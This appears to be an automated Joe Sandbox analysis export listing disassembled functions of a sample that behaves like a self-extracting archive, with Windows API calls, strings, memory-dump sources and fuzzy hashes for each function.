_wcslen.LIBCMT ref: 0091CAB3
_wcsrchr.LIBVCRUNTIME ref: 0091CBFB
GetDlgItem.USER32(?,00000066), ref: 0091CC36
SetWindowTextW.USER32(00000000,?), ref: 0091CC46
SendMessageW.USER32(00000000,00000143,00000000,0094A472), ref: 0091CC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0091CC7F

Strings

%s.%d.tmp, xrefs: 0091C940
ProgramFilesDir, xrefs: 0091CB45
Software\Microsoft\Windows\CurrentVersion, xrefs: 0091CB1A
<br>, xrefs: 0091C9D4

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: c16ebd39446c65ad34f2bef9c743f9620c74a579df58b165928008cf75ecf1dc
Instruction ID: eb0627ae6c6f36bcf87ffb9b00a35072b5e97b5755da4d068186e1d062bf60ad
Opcode Fuzzy Hash: c16ebd39446c65ad34f2bef9c743f9620c74a579df58b165928008cf75ecf1dc
Instruction Fuzzy Hash: 0BE164B2A4421DAADF25DBA0DD85EEE73BCAB44350F4084A5F649E3050EB749EC58F60

Function 0090DA67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0090DA70
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0090DAAC

Part of subcall function 0090C29A: _wcslen.LIBCMT ref: 0090C2A2

Part of subcall function 009105DA: _wcslen.LIBCMT ref: 009105E0

Part of subcall function 00911B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0090BAE9,00000000,?,?,?,00010464), ref: 00911BA0

_wcslen.LIBCMT ref: 0090DDE9
__fprintf_l.LIBCMT ref: 0090DF1C

Strings

, xrefs: 0090DD6C
a, xrefs: 0090DC16
*messages***, xrefs: 0090DBFA
R, xrefs: 0090DC0C
RTL, xrefs: 0090DEDE
*messages***, xrefs: 0090DBC1
@%s:, xrefs: 0090DF06, 0090DF12
,, xrefs: 0090DF57
$%s:, xrefs: 0090DEFF

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: 9b7a3f8e351c6cc45d079fd5b1bd08c410af3934a9c2f81d34633838b1c4ea06
Instruction ID: 976f27ca469ff1b18ffb954589c9979d163bfca05b8d19d535dc0c96eef280e9
Opcode Fuzzy Hash: 9b7a3f8e351c6cc45d079fd5b1bd08c410af3934a9c2f81d34633838b1c4ea06
Instruction Fuzzy Hash: 6F32DF72A04218EFDF24EFA8C841BEA77B9FF84700F40495AF945972C1E7B19985CB50

Function 0091D4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0091B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0091B579
Part of subcall function 0091B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0091B58A
Part of subcall function 0091B568: IsDialogMessageW.USER32(00010464,?), ref: 0091B59E
Part of subcall function 0091B568: TranslateMessage.USER32(?), ref: 0091B5AC
Part of subcall function 0091B568: DispatchMessageW.USER32(?), ref: 0091B5B6

GetDlgItem.USER32(00000068,0095FCB8), ref: 0091D4E8
ShowWindow.USER32(00000000,00000005,?,?,?,0091AF07,00000001,?,?,0091B7B9,0093506C,0095FCB8,0095FCB8,00001000,00000000,00000000), ref: 0091D510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0091D51B
SendMessageW.USER32(00000000,000000C2,00000000,009335F4), ref: 0091D529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0091D53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0091D559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0091D59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0091D5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0091D5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0091D5E1
SendMessageW.USER32(00000000,000000C2,00000000,009343F4), ref: 0091D5F0

Strings

\, xrefs: 0091D549

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 8769c787d51f5737c2d09592493eeab2e84f2f291791635f32146fa7a3b65a59
Instruction ID: 9badbfb785a59765e29a1f9829e2c8c63fe36954f3eba05fbcb1c72e2907c676
Opcode Fuzzy Hash: 8769c787d51f5737c2d09592493eeab2e84f2f291791635f32146fa7a3b65a59
Instruction Fuzzy Hash: 7531C171659346ABD301DF209C4AFAB7FACEB82704F00450CF951961A0DBB49A089B76

Function 0091D78F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0091D7AE
ShellExecuteExW.SHELL32(?), ref: 0091D8DE
ShowWindow.USER32(?,00000000), ref: 0091D91D
GetExitCodeProcess.KERNEL32(?,?), ref: 0091D959
CloseHandle.KERNEL32(?), ref: 0091D97F
ShowWindow.USER32(?,00000001), ref: 0091D9E1

Strings

.exe, xrefs: 0091D989
.inf, xrefs: 0091D89A

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf
API String ID: 36480843-3750412487
Opcode ID: d1f802a08c317611399af3aa0313641b38c887314b98d71a3169ec24a875c837
Instruction ID: a89a0f84e4753ec8aad4f3d51366bc85f425af98a9a08efca9713c4c34d65dcd
Opcode Fuzzy Hash: d1f802a08c317611399af3aa0313641b38c887314b98d71a3169ec24a875c837
Instruction Fuzzy Hash: 7051F67160A388AADB309F24D840BEBBBE8AF82744F04485DF5C1971A1D775CAC4DB52

Function 0092A95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00925695,00925695,?,?,?,0092ABAC,00000001,00000001,2DE85006), ref: 0092A9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0092ABAC,00000001,00000001,2DE85006,?,?,?), ref: 0092AA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0092AB35
__freea.LIBCMT ref: 0092AB42

Part of subcall function 00928E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0092CA2C,00000000,?,00926CBE,?,00000008,?,009291E0,?,?,?), ref: 00928E38

__freea.LIBCMT ref: 0092AB4B
__freea.LIBCMT ref: 0092AB70

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 7da6a313feb345b697c645395a00a621c16b68ff6e7403c62b9f69181f6e2fc3
Instruction ID: 2a978731cd0ef2b2d827cbbf88c1e1315f030aa3153611cef28a9b20e92db0db
Opcode Fuzzy Hash: 7da6a313feb345b697c645395a00a621c16b68ff6e7403c62b9f69181f6e2fc3
Instruction Fuzzy Hash: 6951F173A10226AFDB258F64EC51FBBB7AAEF80710F154628FC04E6158EB34DC44D692

Function 00923B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00923C35,?,?,00962088,00000000,?,00923D60,00000004,InitializeCriticalSectionEx,00936394,InitializeCriticalSectionEx,00000000), ref: 00923C03

Strings

api-ms-, xrefs: 00923BC3

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: d9e1bf9325cdeb4086dafcdb6d6a6bc633ac55e55558ebc964a71c027e2b0150
Instruction ID: ddc1d8a9a733868ae5b435381b79140ffc722244bc1ac465c35d4166668caa4f
Opcode Fuzzy Hash: d9e1bf9325cdeb4086dafcdb6d6a6bc633ac55e55558ebc964a71c027e2b0150
Instruction Fuzzy Hash: 6711CA35A49631BBCB218F68BC4176A37A89F01770F258110FD55FB198D778EF009AD1

Function 0091AC16 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0091081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00910836
Part of subcall function 0091081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0090F2D8,Crypt32.dll,00000000,0090F35C,?,?,0090F33E,?,?,?), ref: 00910858

OleInitialize.OLE32(00000000), ref: 0091AC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0091AC66
SHGetMalloc.SHELL32(00948438), ref: 0091AC70

Strings

riched20.dll, xrefs: 0091AC1E
3Ro, xrefs: 0091AC47

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 3498096277-3613677438
Opcode ID: 942ed46ea7ce149ae9cecdc88d42fe34d9804d368a72d80e933309f26c88736a
Instruction ID: e01639f5e6ec674300c331a9f8d871dd21ee639f909d91f82e06d7e40077b2eb
Opcode Fuzzy Hash: 942ed46ea7ce149ae9cecdc88d42fe34d9804d368a72d80e933309f26c88736a
Instruction Fuzzy Hash: 27F01DB1D0420AABCB10AFA9D849AEFFFFCEFC4704F00415AE815E2251DBB456459FA1

Function 009098E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00907760,?,00000005,?,00000011), ref: 0090995F
GetLastError.KERNEL32(?,?,00907760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0090996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00907760,?,00000005,?), ref: 009099A2
GetLastError.KERNEL32(?,?,00907760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 009099AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00907760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 009099F9

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: cedbd73b33238dc6ea0d2764e0896b8b3caa7f425f9dc66cb2bf9f6aa0b988fd
Instruction ID: 3a820a61571512244a992c3825c19b0a0db97af64cb82b96826deef06888465e
Opcode Fuzzy Hash: cedbd73b33238dc6ea0d2764e0896b8b3caa7f425f9dc66cb2bf9f6aa0b988fd
Instruction Fuzzy Hash: 4F3102305887456FE7309F24CD46BDABB98BB45320F200B19F9F1961D2D7B4A994CB91

Function 0091B568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0091B579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0091B58A
IsDialogMessageW.USER32(00010464,?), ref: 0091B59E
TranslateMessage.USER32(?), ref: 0091B5AC
DispatchMessageW.USER32(?), ref: 0091B5B6

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 85fd62d1c29dc9d0ed9c8ef11e8ed286601caf00c3c8e2fe1d8073335148553a
Instruction ID: cba2c41608778290a592665de68c394313d08552b6941a6dbb510d671c8bf907
Opcode Fuzzy Hash: 85fd62d1c29dc9d0ed9c8ef11e8ed286601caf00c3c8e2fe1d8073335148553a
Instruction Fuzzy Hash: E7F0D071E1511ABB8B209BE5DD4CDDB7FBDEE053917008419F505D2050EB74D649DBB0

Function 0091ABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0091ABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 0091ABF9

Part of subcall function 00911FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0090C116,00000000,.exe,?,?,00000800,?,?,?,00918E3C), ref: 00911FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0091ABE9

Strings

EDIT, xrefs: 0091ABCD, 0091ABD8, 0091ABE5

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 00b37d5634de9714654698d353753020c2a87fed641cab90667ff96f06eabbc6
Instruction ID: 94b392cbd324ab073e9849b0fb504271e3687703b89f4cd3ce62a83aa63bdd26
Opcode Fuzzy Hash: 00b37d5634de9714654698d353753020c2a87fed641cab90667ff96f06eabbc6
Instruction Fuzzy Hash: 0EF08232B4522C76EB3056249C09FDB76AC9B46B40F494015FA05A21C0D7A0EE8585B6

Function 0091DBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0091DBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0091DC30

Strings

sfxpar, xrefs: 0091DC2B
sfxcmd, xrefs: 0091DBEF

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 2a87fe6e85850c99bf9f592e4c1e0e0bef136a6a9749a2fa22cf5badfb3d2306
Instruction ID: f43a874f8336cce9fdf8b1b865adf3a2402cba99439b4b75ff827e2ae28ef925
Opcode Fuzzy Hash: 2a87fe6e85850c99bf9f592e4c1e0e0bef136a6a9749a2fa22cf5badfb3d2306
Instruction Fuzzy Hash: 74F0A7B260922CA6CB202BD58C06BEB375CAF45781B044811BDC595051E6F489C0EAE0

Function 00909785 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00909795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 009097AD
GetLastError.KERNEL32 ref: 009097DF
GetLastError.KERNEL32 ref: 009097FE

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: d096d9c8480eb9c17e2479d1890810136075ad7c157cdd38d4df4f968c036b0c
Instruction ID: 15f94ffd4d88062c43a099973e47de9579a319688aaaf4b7c1b8e37109ae0eb5
Opcode Fuzzy Hash: d096d9c8480eb9c17e2479d1890810136075ad7c157cdd38d4df4f968c036b0c
Instruction Fuzzy Hash: A2118E32914204EFDF209F64C804A6A37ADFB46325F10CA29F856852D2D7789E44EB61

Function 0092AD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00923F73,00000000,00000000,?,0092ACDB,00923F73,00000000,00000000,00000000,?,0092AED8,00000006,FlsSetValue), ref: 0092AD66
GetLastError.KERNEL32(?,0092ACDB,00923F73,00000000,00000000,00000000,?,0092AED8,00000006,FlsSetValue,00937970,FlsSetValue,00000000,00000364,?,009298B7), ref: 0092AD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0092ACDB,00923F73,00000000,00000000,00000000,?,0092AED8,00000006,FlsSetValue,00937970,FlsSetValue,00000000), ref: 0092AD80

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: c83add5bca0ca12889155bdd2b8cf7eb8236aa5c644666c52a235d46ae406185
Instruction ID: 471abfc8756cadf93e95f688b059fcb07f701761309efc99679a5520abff16b3
Opcode Fuzzy Hash: c83add5bca0ca12889155bdd2b8cf7eb8236aa5c644666c52a235d46ae406185
Instruction Fuzzy Hash: 8C014233269232AFC7318B68BC44A977BACEF00BB37200A20FC06D35D4C720C8018AE1

Function 00909F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,0090D343,00000001,?,?,?,00000000,0091551D,?,?,?), ref: 00909F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,0091551D,?,?,?,?,?,00914FC7,?), ref: 00909FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,0090D343,00000001,?,?), ref: 0090A011

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 096363e679af7fc3a5f5366fab83540e426314f56753958740454c32b0fd589f
Instruction ID: c0032636c7f5bae442d90f14937aa3ea52b472bce5b0745312843d8756f3789d
Opcode Fuzzy Hash: 096363e679af7fc3a5f5366fab83540e426314f56753958740454c32b0fd589f
Instruction Fuzzy Hash: 6C31907124830AAFDB14CF20D818BAE77A9EF85715F044919F9819B2D0C775AD48CFA2

Function 0090A2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 0090C27E: _wcslen.LIBCMT ref: 0090C284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0090A175,?,00000001,00000000,?,?), ref: 0090A2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0090A175,?,00000001,00000000,?,?), ref: 0090A30C
GetLastError.KERNEL32(?,?,?,?,0090A175,?,00000001,00000000,?,?), ref: 0090A329

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

